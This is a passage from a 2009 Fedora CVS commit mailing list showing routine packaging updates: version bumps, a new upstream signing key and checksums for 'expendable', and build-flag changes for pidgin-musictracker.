-mQGiBEa5fNcRBACJCPsz2q0hj0p5pJABzMKTb4r5lko0upe6ZYOQ2NFZw61upKzI
-uFanlwDVi3MaEHIGf8hsYr82GxTFUc+O2DFskKwEuZ3O4Q50qqkHAnMLZ2VFKXyF
-VJRPUrezpiXifbRjdV3ED0ikc7+ANArUStqbaIvjM3zJOo5GuEcO7AAPiwCgofNk
-1DG1GNH8cBxqGQoEPYrm/pkD/1e7OsMk50XXTQd77hZW1ViIQK8P4tkj65FWBgNg
-d5PyXNqGfOcskn+iVbx9cGsTgAbfP5IVlnxCmf3QE2rLelJtX++aCUmM4irDclTv
-9hn5UQf1QPqvwHFr+h6FHAg8WjHhdORc8hDlWMntmAArjmqFY4FcF/DZMzddZNgf
-jklwA/0aOef82dkwMbgmtLMcx1m0QTSBV04x2z3UIuBLdG9klhzTSCzr0EbtoSWe
-8JN5LdZr//BDJV5elyEWuiQP5uMhXkrVWCZlt3hJ8zvncO/1gnPQPzRty3IuoAyO
-j4uIWLupjdHVqqBDhJEmc+MvjRgQvUkdt07PEm5ehaRxaB36I7QdVGltIFdhdWdo
-IDx0d2F1Z2hAcmVkaGF0LmNvbT6IZgQTEQIAJgUCRrl9JAIbAwUJA8JnAAYLCQgH
-AwIEFQIIAwQWAgMBAh4BAheAAAoJEGklkaMet5kjzfYAoIjd5Y/5+BKxYMXndh4a
-54MVmEXoAJ0f1pdb+zMVcCMs/lyB2oF/+nMWwYhGBBARAgAGBQJGuX11AAoJEO3n
-xuaBAwm9DF0AnAnBbra0+WvYa1TLgdIA/ME9r/NNAJ9hXtoFm8s/rAw3YUM79wK1
-8P1RIrQcVGltIFdhdWdoIDx0aW1AY3liZXJlbGsubmV0PohmBBMRAgAmBQJGuXzX
-AhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQaSWRox63mSPQowCg
-jEKmAQght3t/7JVPX6H29kZyqFYAni3DbBuKULwKMuL71PA556bVbdsMiEYEEBEC
-AAYFAka5fXUACgkQ7efG5oEDCb3VrwCfft0SMdCYReiyNoazvWmVvfPk1hgAn2JH
-1pdBUCMeMVrxbIBfngNM6Me0uQINBEa5fNcQCACqm3SBctiw150XfY5AWUFPwmJB
-xX2YTG867RiuaXntFCdERybikjmgNVVlCRudufdqs2bqeqY+oFvS3TMz7SOQmSwv
-QJbEx7WrR7RWU9l0UWMPmiOZ6ZMZjwl2qArvR28RME+n2ooFjuOV3xzb1f4itbo0
-KDshdhoXvcr93z7+vSMjAGLwrLButh1BwbadSAFyIkIyguakKak+vY5kcBPbYUh6
-AnLKWZJF/UNzC6gU4fqc1kLM7RbPLO8oXMgghqcEDK7AVQoXD13xXL6+oDCtwv1u
-zZ6HTYK4l7Dcnpr9nQALF/yepD0xqpRcAA5GFrElFxdVoF24kRKy56+eOOkTAAMG
-B/9npM+/tnF49zw4onQjqEtie1lxDKZAgOmbu34aaH0udF8n37XQdmd4z7M2/Jf8
-qFBqeO01MfYmuAfZ9esM+Sneh3/Nvmi5++kz7IKS4V6EE4DndLZW+hnO09i498Fe
-dwEkhsxpU3YqB9IL6iNjKjQgYtfYBlDJvBwtlgUzKK80toAH6XPA6j/SBjJM6vZb
-P1XpZajWbkvhKzYfqXtjXZ2dqIGbtSW8uJr1Ighr9ZYQvK0r6XkhZBoUorteQUS4
-IrweKXRGnUeOHuUXr8d7rzsufSP6ZNhQQvwG80vr8V4Z++8YKpfyv8uOwAc3GK/u
-9O+CLk4lvD4SBCVoZaSCv/9aiE8EGBECAA8FAka5fNcCGwwFCQPCZwAACgkQaSWR
-ox63mSPTcgCfUiOr+XPLLhqJEQLQHp+Y8FvU7voAnRQuODX6A2Siap8Aw09esWVq
-L7PW
-=wzDO
+mQGiBEpnDbARBADRsKGwS54yxqAoniGaI8X+saG4ezdZ1OmPr9f7L4PugzjjL7qR
+p9O7hj+RZNVM7QR9nPUFTawBTfWQisyS8/a3xiBbQxlhW8uuORhM2gTkVGGlGbCc
+jH+RT0T8t/75m6n2IXKATqugrMH60NXreQQuCKWgCrT6TroMldlVQpBaFwCgx/s0
+1KlfCY42Er0YA/DDpMgTYhUEAI0PgOpD6C8ncEpqvSYSs1qyvRsrpp86M/nyi+pm
+15+7IZhlXE53gXeSLT+dTutvVQtbXbf2DwJmAKdjQw1Y4esjxwH1bPYnPnTlIlZ6
+CHQbYO0n6u2pDnSF8sxi3ene6BSuL7NvKpejwXqLEQFGjaop5eAdDs6YvHNU3Yev
+os0UA/4t9TstI4laLwvCqZ7npwsNxT/1sXa5F09d26oTSZlJwSEmGe6+tOqAbDYn
+1mrCajNt40pGPBKXhE2UNJIBrrWSjZCAp4LSmj6KCEXs35fpmUhUp54V79cC4AI/
+rezLlZIB6l4Dey1is5bkw1yOsBT6Qf4lGJHkggyUfW/ymGZfqbQdVGltIFdhdWdo
+IDx0d2F1Z2hAcmVkaGF0LmNvbT6IZgQTEQIAJgUCSmcOPwIbAwUJA8JnAAYLCQgH
+AwIEFQIIAwQWAgMBAh4BAheAAAoJEAS0Gn2aStrXYHMAoLxVaLxFP6P6rRlQtla+
+NO1KSkMBAJ9jNppMaAf2pHi1b9CoD4f4MEvOS4hGBBARAgAGBQJKZxDHAAoJEO3n
+xuaBAwm91N0AoJROznoZyHKXRxgzLyXemIA4TYMAAJ9Y9HdZOenEMw9HMg36guZK
+dBIVLLQcVGltIFdhdWdoIDx0aW1AY3liZXJlbGsubmV0PohmBBMRAgAmBQJKZw2w
+AhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQBLQafZpK2tet4gCf
+VKhWbUJAcIlNpWpYD0kYgGty/ucAoIfsKq9FNBPw9pQPaDnxbKDyserxiEYEEBEC
+AAYFAkpnEMcACgkQ7efG5oEDCb0RvACePTmfisPxeKkGo6QoA42MFH5wtPIAn329
+9ur6BKDz/QrKVT13CxRoKosLuQINBEpnDbAQCACCZaJHH6EctIyz+PYBCzz889PR
+iLAOyKlbrgaR4KhVGBFttKyOJkEk+UvxLUuRkOOY6i6TWbT3qNUnZT6QkftGulal
+8MAtBf2xnJXEsyKgPkRkeDAx3uvMBfrW0wgxcFw9K6E+p8x76bFFD+FtrduDRfxk
+2jDwJgyYubnM3+nPZzZXfuFnxSRYjJcoAq4O61YdH8O79TElEGqTwd/BHeIexEf2
+BkBAscE4GCmGXTYCsLByY8sGD13U7OO3Kk4ul4FgI/mzM25zgqqhbAObjsIwJqE+
+6MXqkkylmo+noTe3zlfNdnR1xkmYUCfUc4+WeFyziHRiXMkt5OYY5wDW5WGnAAMF
+B/4gvjt8SXekSxgdFCuEOQ0J2YM4DElQkaf+Tggbr9F3hnsWfJ49gEipCWEhKPt2
+ks4kDexO/Cn6SI7SQUPiNUWylm80G1Dd+xaQ9qrN1KTsReACXOCKoRgz64MooSOj
+Qs8YIGI/ejLzPkn6mUEmFRHssd4jmmSCbF99AmVh6Z4VnkKLTG+z3KQUymF0ng5b
+AAcwTOJhlAR7xrBJGfhnRUTIaNtD+UnBsoxApeUJie2lc84Pc10p56TGomkEy3Ib
+se1kk4w3mZ8kkR57voh/PovSl/8NyPmv81oVHbJnGLKAVku4XT0IBQOBdDKeRKHB
+tlPLsK9KFx2LxhtAmQN4C/j5iE8EGBECAA8FAkpnDbACGwwFCQPCZwAACgkQBLQa
+fZpK2teQogCgg68475moQ7dh/HIUHRNJKZJfmoQAoIw92pM7V5VYMpz9kW+701Fu
+JofS
+=vrpj
 -----END PGP PUBLIC KEY BLOCK-----


--- expendable-0.0.8.tar.bz2.sig DELETED ---



From twaugh at fedoraproject.org  Mon Oct 12 17:52:24 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 12 Oct 2009 17:52:24 +0000 (UTC)
Subject: rpms/expendable/F-11 expendable-0.0.9.tar.xz.sig, NONE,
	1.1 expendable.spec, 1.17, 1.18 sources, 1.8,
	1.9 upstream-key.gpg, 1.1, 1.2 expendable-0.0.8.tar.bz2.sig, 1.1, NONE
Message-ID: <20091012175225.0612C11C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/expendable/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2064

Modified Files:
	expendable.spec sources upstream-key.gpg 
Added Files:
	expendable-0.0.9.tar.xz.sig 
Removed Files:
	expendable-0.0.8.tar.bz2.sig 
Log Message:
* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
- 0.0.9.



--- NEW FILE expendable-0.0.9.tar.xz.sig ---
??

Index: expendable.spec
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-11/expendable.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- expendable.spec	24 Feb 2009 15:56:15 -0000	1.17
+++ expendable.spec	12 Oct 2009 17:52:24 -0000	1.18
@@ -1,12 +1,12 @@
 Summary: Home finances modeling program
 Name: expendable
-Version: 0.0.8
-Release: 2%{?dist}
+Version: 0.0.9
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/Productivity
 URL: https://fedorahosted.org/expendable/
 # Add "?format=raw" to the following URL to download file:
-Source0: https://fedorahosted.org/expendable/attachment/wiki/ProjectReleases/%{name}-%{version}.tar.bz2
+Source0: https://fedorahosted.org/releases/e/x/expendable/%{name}-%{version}.tar.xz
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -83,6 +83,12 @@ fi
 %{_datadir}/applications/*.desktop
 
 %changelog
+* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
+- 0.0.9.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.8-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.8-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Jan 2009 23:25:58 -0000	1.8
+++ sources	12 Oct 2009 17:52:24 -0000	1.9
@@ -1 +1 @@
-b261185e32c8966837435607fbb455bc  expendable-0.0.8.tar.bz2
+abe7718c7a9bfa718f92fcc6ec805c92  expendable-0.0.9.tar.xz


Index: upstream-key.gpg
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-11/upstream-key.gpg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- upstream-key.gpg	29 Sep 2008 09:46:01 -0000	1.1
+++ upstream-key.gpg	12 Oct 2009 17:52:24 -0000	1.2
@@ -1,36 +1,36 @@
 -----BEGIN PGP PUBLIC KEY BLOCK-----
-Version: GnuPG v1.4.7 (GNU/Linux)
+Version: GnuPG v1.4.9 (GNU/Linux)
 
-mQGiBEa5fNcRBACJCPsz2q0hj0p5pJABzMKTb4r5lko0upe6ZYOQ2NFZw61upKzI
-uFanlwDVi3MaEHIGf8hsYr82GxTFUc+O2DFskKwEuZ3O4Q50qqkHAnMLZ2VFKXyF
-VJRPUrezpiXifbRjdV3ED0ikc7+ANArUStqbaIvjM3zJOo5GuEcO7AAPiwCgofNk
-1DG1GNH8cBxqGQoEPYrm/pkD/1e7OsMk50XXTQd77hZW1ViIQK8P4tkj65FWBgNg
-d5PyXNqGfOcskn+iVbx9cGsTgAbfP5IVlnxCmf3QE2rLelJtX++aCUmM4irDclTv
-9hn5UQf1QPqvwHFr+h6FHAg8WjHhdORc8hDlWMntmAArjmqFY4FcF/DZMzddZNgf
-jklwA/0aOef82dkwMbgmtLMcx1m0QTSBV04x2z3UIuBLdG9klhzTSCzr0EbtoSWe
-8JN5LdZr//BDJV5elyEWuiQP5uMhXkrVWCZlt3hJ8zvncO/1gnPQPzRty3IuoAyO
-j4uIWLupjdHVqqBDhJEmc+MvjRgQvUkdt07PEm5ehaRxaB36I7QdVGltIFdhdWdo
-IDx0d2F1Z2hAcmVkaGF0LmNvbT6IZgQTEQIAJgUCRrl9JAIbAwUJA8JnAAYLCQgH
-AwIEFQIIAwQWAgMBAh4BAheAAAoJEGklkaMet5kjzfYAoIjd5Y/5+BKxYMXndh4a
-54MVmEXoAJ0f1pdb+zMVcCMs/lyB2oF/+nMWwYhGBBARAgAGBQJGuX11AAoJEO3n
-xuaBAwm9DF0AnAnBbra0+WvYa1TLgdIA/ME9r/NNAJ9hXtoFm8s/rAw3YUM79wK1
-8P1RIrQcVGltIFdhdWdoIDx0aW1AY3liZXJlbGsubmV0PohmBBMRAgAmBQJGuXzX
-AhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQaSWRox63mSPQowCg
-jEKmAQght3t/7JVPX6H29kZyqFYAni3DbBuKULwKMuL71PA556bVbdsMiEYEEBEC
-AAYFAka5fXUACgkQ7efG5oEDCb3VrwCfft0SMdCYReiyNoazvWmVvfPk1hgAn2JH
-1pdBUCMeMVrxbIBfngNM6Me0uQINBEa5fNcQCACqm3SBctiw150XfY5AWUFPwmJB
-xX2YTG867RiuaXntFCdERybikjmgNVVlCRudufdqs2bqeqY+oFvS3TMz7SOQmSwv
-QJbEx7WrR7RWU9l0UWMPmiOZ6ZMZjwl2qArvR28RME+n2ooFjuOV3xzb1f4itbo0
-KDshdhoXvcr93z7+vSMjAGLwrLButh1BwbadSAFyIkIyguakKak+vY5kcBPbYUh6
-AnLKWZJF/UNzC6gU4fqc1kLM7RbPLO8oXMgghqcEDK7AVQoXD13xXL6+oDCtwv1u
-zZ6HTYK4l7Dcnpr9nQALF/yepD0xqpRcAA5GFrElFxdVoF24kRKy56+eOOkTAAMG
-B/9npM+/tnF49zw4onQjqEtie1lxDKZAgOmbu34aaH0udF8n37XQdmd4z7M2/Jf8
-qFBqeO01MfYmuAfZ9esM+Sneh3/Nvmi5++kz7IKS4V6EE4DndLZW+hnO09i498Fe
-dwEkhsxpU3YqB9IL6iNjKjQgYtfYBlDJvBwtlgUzKK80toAH6XPA6j/SBjJM6vZb
-P1XpZajWbkvhKzYfqXtjXZ2dqIGbtSW8uJr1Ighr9ZYQvK0r6XkhZBoUorteQUS4
-IrweKXRGnUeOHuUXr8d7rzsufSP6ZNhQQvwG80vr8V4Z++8YKpfyv8uOwAc3GK/u
-9O+CLk4lvD4SBCVoZaSCv/9aiE8EGBECAA8FAka5fNcCGwwFCQPCZwAACgkQaSWR
-ox63mSPTcgCfUiOr+XPLLhqJEQLQHp+Y8FvU7voAnRQuODX6A2Siap8Aw09esWVq
-L7PW
-=wzDO
+mQGiBEpnDbARBADRsKGwS54yxqAoniGaI8X+saG4ezdZ1OmPr9f7L4PugzjjL7qR
+p9O7hj+RZNVM7QR9nPUFTawBTfWQisyS8/a3xiBbQxlhW8uuORhM2gTkVGGlGbCc
+jH+RT0T8t/75m6n2IXKATqugrMH60NXreQQuCKWgCrT6TroMldlVQpBaFwCgx/s0
+1KlfCY42Er0YA/DDpMgTYhUEAI0PgOpD6C8ncEpqvSYSs1qyvRsrpp86M/nyi+pm
+15+7IZhlXE53gXeSLT+dTutvVQtbXbf2DwJmAKdjQw1Y4esjxwH1bPYnPnTlIlZ6
+CHQbYO0n6u2pDnSF8sxi3ene6BSuL7NvKpejwXqLEQFGjaop5eAdDs6YvHNU3Yev
+os0UA/4t9TstI4laLwvCqZ7npwsNxT/1sXa5F09d26oTSZlJwSEmGe6+tOqAbDYn
+1mrCajNt40pGPBKXhE2UNJIBrrWSjZCAp4LSmj6KCEXs35fpmUhUp54V79cC4AI/
+rezLlZIB6l4Dey1is5bkw1yOsBT6Qf4lGJHkggyUfW/ymGZfqbQdVGltIFdhdWdo
+IDx0d2F1Z2hAcmVkaGF0LmNvbT6IZgQTEQIAJgUCSmcOPwIbAwUJA8JnAAYLCQgH
+AwIEFQIIAwQWAgMBAh4BAheAAAoJEAS0Gn2aStrXYHMAoLxVaLxFP6P6rRlQtla+
+NO1KSkMBAJ9jNppMaAf2pHi1b9CoD4f4MEvOS4hGBBARAgAGBQJKZxDHAAoJEO3n
+xuaBAwm91N0AoJROznoZyHKXRxgzLyXemIA4TYMAAJ9Y9HdZOenEMw9HMg36guZK
+dBIVLLQcVGltIFdhdWdoIDx0aW1AY3liZXJlbGsubmV0PohmBBMRAgAmBQJKZw2w
+AhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQBLQafZpK2tet4gCf
+VKhWbUJAcIlNpWpYD0kYgGty/ucAoIfsKq9FNBPw9pQPaDnxbKDyserxiEYEEBEC
+AAYFAkpnEMcACgkQ7efG5oEDCb0RvACePTmfisPxeKkGo6QoA42MFH5wtPIAn329
+9ur6BKDz/QrKVT13CxRoKosLuQINBEpnDbAQCACCZaJHH6EctIyz+PYBCzz889PR
+iLAOyKlbrgaR4KhVGBFttKyOJkEk+UvxLUuRkOOY6i6TWbT3qNUnZT6QkftGulal
+8MAtBf2xnJXEsyKgPkRkeDAx3uvMBfrW0wgxcFw9K6E+p8x76bFFD+FtrduDRfxk
+2jDwJgyYubnM3+nPZzZXfuFnxSRYjJcoAq4O61YdH8O79TElEGqTwd/BHeIexEf2
+BkBAscE4GCmGXTYCsLByY8sGD13U7OO3Kk4ul4FgI/mzM25zgqqhbAObjsIwJqE+
+6MXqkkylmo+noTe3zlfNdnR1xkmYUCfUc4+WeFyziHRiXMkt5OYY5wDW5WGnAAMF
+B/4gvjt8SXekSxgdFCuEOQ0J2YM4DElQkaf+Tggbr9F3hnsWfJ49gEipCWEhKPt2
+ks4kDexO/Cn6SI7SQUPiNUWylm80G1Dd+xaQ9qrN1KTsReACXOCKoRgz64MooSOj
+Qs8YIGI/ejLzPkn6mUEmFRHssd4jmmSCbF99AmVh6Z4VnkKLTG+z3KQUymF0ng5b
+AAcwTOJhlAR7xrBJGfhnRUTIaNtD+UnBsoxApeUJie2lc84Pc10p56TGomkEy3Ib
+se1kk4w3mZ8kkR57voh/PovSl/8NyPmv81oVHbJnGLKAVku4XT0IBQOBdDKeRKHB
+tlPLsK9KFx2LxhtAmQN4C/j5iE8EGBECAA8FAkpnDbACGwwFCQPCZwAACgkQBLQa
+fZpK2teQogCgg68475moQ7dh/HIUHRNJKZJfmoQAoIw92pM7V5VYMpz9kW+701Fu
+JofS
+=vrpj
 -----END PGP PUBLIC KEY BLOCK-----


--- expendable-0.0.8.tar.bz2.sig DELETED ---



From twaugh at fedoraproject.org  Mon Oct 12 17:52:41 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 12 Oct 2009 17:52:41 +0000 (UTC)
Subject: rpms/expendable/F-10 .cvsignore, 1.8, 1.9 expendable.spec, 1.15,
	1.16 sources, 1.8, 1.9 expendable-0.0.8.tar.bz2.sig, 1.1,
	NONE upstream-key.gpg, 1.1, NONE
Message-ID: <20091012175241.C248311C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/expendable/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2176

Modified Files:
	.cvsignore expendable.spec sources 
Removed Files:
	expendable-0.0.8.tar.bz2.sig upstream-key.gpg 
Log Message:
* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
- 0.0.9.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-10/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Jan 2009 23:41:04 -0000	1.8
+++ .cvsignore	12 Oct 2009 17:52:41 -0000	1.9
@@ -5,3 +5,4 @@ expendable-0.0.5.tar.bz2
 expendable-0.0.6.tar.bz2
 expendable-0.0.7.tar.bz2
 expendable-0.0.8.tar.bz2
+expendable-0.0.9.tar.bz2


Index: expendable.spec
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-10/expendable.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- expendable.spec	4 Jan 2009 23:41:04 -0000	1.15
+++ expendable.spec	12 Oct 2009 17:52:41 -0000	1.16
@@ -1,12 +1,12 @@
 Summary: Home finances modeling program
 Name: expendable
-Version: 0.0.8
+Version: 0.0.9
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/Productivity
 URL: https://fedorahosted.org/expendable/
 # Add "?format=raw" to the following URL to download file:
-Source0: https://fedorahosted.org/expendable/attachment/wiki/ProjectReleases/%{name}-%{version}.tar.bz2
+Source0: https://fedorahosted.org/releases/e/x/expendable/%{name}-%{version}.tar.bz2
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -83,6 +83,15 @@ fi
 %{_datadir}/applications/*.desktop
 
 %changelog
+* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 0.0.9-1
+- 0.0.9.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.8-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.8-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Jan  4 2009 Tim Waugh <twaugh at redhat.com> 0.0.8-1
 - 0.0.8.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/expendable/F-10/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Jan 2009 23:41:04 -0000	1.8
+++ sources	12 Oct 2009 17:52:41 -0000	1.9
@@ -1 +1 @@
-b261185e32c8966837435607fbb455bc  expendable-0.0.8.tar.bz2
+81cf998dfbec932c7423114f2e6502ea  expendable-0.0.9.tar.bz2


--- expendable-0.0.8.tar.bz2.sig DELETED ---


--- upstream-key.gpg DELETED ---



From hpejakle at fedoraproject.org  Mon Oct 12 18:33:16 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Mon, 12 Oct 2009 18:33:16 +0000 (UTC)
Subject: rpms/pidgin-musictracker/F-11 pidgin-musictracker.spec,1.2,1.3
Message-ID: <20091012183316.D7C3811C00DB@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9478/F-11

Modified Files:
	pidgin-musictracker.spec 
Log Message:
enabled debug package and honored RPM_OPT_FLAGS


Index: pidgin-musictracker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin-musictracker/F-11/pidgin-musictracker.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pidgin-musictracker.spec	23 Sep 2009 17:30:47 -0000	1.2
+++ pidgin-musictracker.spec	12 Oct 2009 18:33:16 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name:		pidgin-musictracker
 Version:	0.4.20
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Musictracker plugin for Pidgin
 
 Group:		Applications/Internet
@@ -29,7 +29,7 @@ statuses on.
 
 
 %build
-%configure --disable-werror --disable-static
+%configure --disable-werror --disable-static --enable-debug CFLAGS="$RPM_OPT_FLAGS"
 make %{?_smp_mflags}
 
 %install
@@ -47,10 +47,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pidgin/musictracker.so
 
 %changelog
-* Wed Sep 23 2009 Jan Klepek <jan.klepek at hp.com> 0.4.20-1
+* Mon Oct 12 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-2
+- enabled debug package and honored RPM_OPT_FLAGS
+
+* Wed Sep 23 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-1
 - update to 0.4.20
 
-* Wed Apr  9 2009 Jan Klepek <jan.klepek at hp.com> 0.4.16-1
+* Wed Apr  9 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.16-1
 - combined spec file from all below people and builded package for 0.4.16 version
  
 * Wed Mar  4 2009 Jon TURNEY <jon.turney at dronecode.org.uk>



From hpejakle at fedoraproject.org  Mon Oct 12 18:33:17 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Mon, 12 Oct 2009 18:33:17 +0000 (UTC)
Subject: rpms/pidgin-musictracker/F-12 pidgin-musictracker.spec,1.3,1.4
Message-ID: <20091012183317.00A5F11C00DB@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9478/F-12

Modified Files:
	pidgin-musictracker.spec 
Log Message:
enabled debug package and honored RPM_OPT_FLAGS


Index: pidgin-musictracker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin-musictracker/F-12/pidgin-musictracker.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pidgin-musictracker.spec	23 Sep 2009 17:28:21 -0000	1.3
+++ pidgin-musictracker.spec	12 Oct 2009 18:33:16 -0000	1.4
@@ -2,7 +2,7 @@
 
 Name:		pidgin-musictracker
 Version:	0.4.20
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Musictracker plugin for Pidgin
 
 Group:		Applications/Internet
@@ -29,7 +29,7 @@ statuses on.
 
 
 %build
-%configure --disable-werror --disable-static
+%configure --disable-werror --disable-static --enable-debug CFLAGS="$RPM_OPT_FLAGS"
 make %{?_smp_mflags}
 
 %install
@@ -47,13 +47,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pidgin/musictracker.so
 
 %changelog
-* Wed Sep 23 2009 Jan Klepek <jan.klepek at hp.com> 0.4.20-1
+* Mon Oct 12 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-2
+- enabled debug package and honored RPM_OPT_FLAGS
+
+* Wed Sep 23 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-1
 - update to 0.4.20
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.16-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Wed Apr  9 2009 Jan Klepek <jan.klepek at hp.com> 0.4.16-1
+* Wed Apr  9 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.16-1
 - combined spec file from all below people and builded package for 0.4.16 version
  
 * Wed Mar  4 2009 Jon TURNEY <jon.turney at dronecode.org.uk>



From hpejakle at fedoraproject.org  Mon Oct 12 18:34:21 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Mon, 12 Oct 2009 18:34:21 +0000 (UTC)
Subject: rpms/pidgin-musictracker/devel pidgin-musictracker.spec,1.3,1.4
Message-ID: <20091012183421.5DA5211C00DB@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9743

Modified Files:
	pidgin-musictracker.spec 
Log Message:
enabled debug package and honored RPM_OPT_FLAGS


Index: pidgin-musictracker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin-musictracker/devel/pidgin-musictracker.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pidgin-musictracker.spec	23 Sep 2009 17:28:21 -0000	1.3
+++ pidgin-musictracker.spec	12 Oct 2009 18:34:21 -0000	1.4
@@ -2,7 +2,7 @@
 
 Name:		pidgin-musictracker
 Version:	0.4.20
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Musictracker plugin for Pidgin
 
 Group:		Applications/Internet
@@ -29,7 +29,7 @@ statuses on.
 
 
 %build
-%configure --disable-werror --disable-static
+%configure --disable-werror --disable-static --enable-debug CFLAGS="$RPM_OPT_FLAGS"
 make %{?_smp_mflags}
 
 %install
@@ -47,13 +47,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pidgin/musictracker.so
 
 %changelog
-* Wed Sep 23 2009 Jan Klepek <jan.klepek at hp.com> 0.4.20-1
+* Mon Oct 12 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-2
+- enabled debug package and honored RPM_OPT_FLAGS
+
+* Wed Sep 23 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-1
 - update to 0.4.20
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.16-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Wed Apr  9 2009 Jan Klepek <jan.klepek at hp.com> 0.4.16-1
+* Wed Apr  9 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.16-1
 - combined spec file from all below people and builded package for 0.4.16 version
  
 * Wed Mar  4 2009 Jon TURNEY <jon.turney at dronecode.org.uk>



From rjones at fedoraproject.org  Mon Oct 12 18:46:53 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 12 Oct 2009 18:46:53 +0000 (UTC)
Subject: rpms/ocaml-autoconf/devel .cvsignore, 1.2, 1.3 ocaml-autoconf.spec, 
	1.6, 1.7 sources, 1.2, 1.3
Message-ID: <20091012184653.C568811C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-autoconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12818

Modified Files:
	.cvsignore ocaml-autoconf.spec sources 
Log Message:
New upstream version 1.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-autoconf/devel/.cvsignore,v
